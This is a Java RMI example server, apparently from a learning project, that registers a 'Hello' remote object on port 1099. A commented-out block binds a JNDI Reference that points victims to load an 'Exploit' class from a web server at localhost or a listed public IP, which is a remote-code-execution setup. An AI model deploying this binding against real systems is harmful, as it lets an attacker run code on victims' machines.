package rmitest;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HelloServer {
    /** 创建服务器程序：创建远程对象，通过createRegistry()方法注册远程对象。并通过bind或者rebind方法，把远程对象绑定到指定名称空间（URL）中。
     * 启动 RMI 注册服务并进行对象注册
     *
     *  https://www.cnblogs.com/qinggege/p/5306852.html
     */
    public static void main(String[] argv) {
        try {
            //启动RMI注册服务，指定端口为1099　（1099为默认端口）
            //也可以通过命令 ＄java_home/bin/rmiregistry 1099启动
            //这里用这种方式避免了再打开一个DOS窗口
            //而且用命令rmiregistry启动注册服务还必须事先用RMIC生成一个stub类为它所用
            Registry registry = LocateRegistry.createRegistry(1099);

            //创建远程对象的一个或多个实例，下面是hello对象
            //可以用不同名字注册不同的实例
            HelloInterface hello = new HelloInterfaceRemoteImpl("Hello, world!");

            //把hello注册到RMI注册服务器上，命名为Hello
            //Naming.rebind("Hello", hello);  ok
            registry.bind("Hello",hello);

            //如果要把hello实例注册到另一台启动了RMI注册服务的机器上
            //Naming.rebind("//192.168.1.105:1099/Hello",hello);





            //Registry registry = LocateRegistry.createRegistry(1099);
            ////factoryLocation 一定得是ip后带斜杠，这个斜杠少不得，少了的话到web服务器的请求就变成了GET / 而不是正常的GET /Exploit.class
            //Reference reference = new Reference("Exploit", "Exploit", "http://127.0.0.1/");
            ////Reference reference = new Reference("Exploit", "Exploit","http://104.251.228.50/");
            //ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            //registry.bind("Exploit", referenceWrapper);






            System.out.println("Hello Server is ready.");
        } catch (Exception e) {
            System.out.println("Hello Server failed: " + e);
        }
    }
}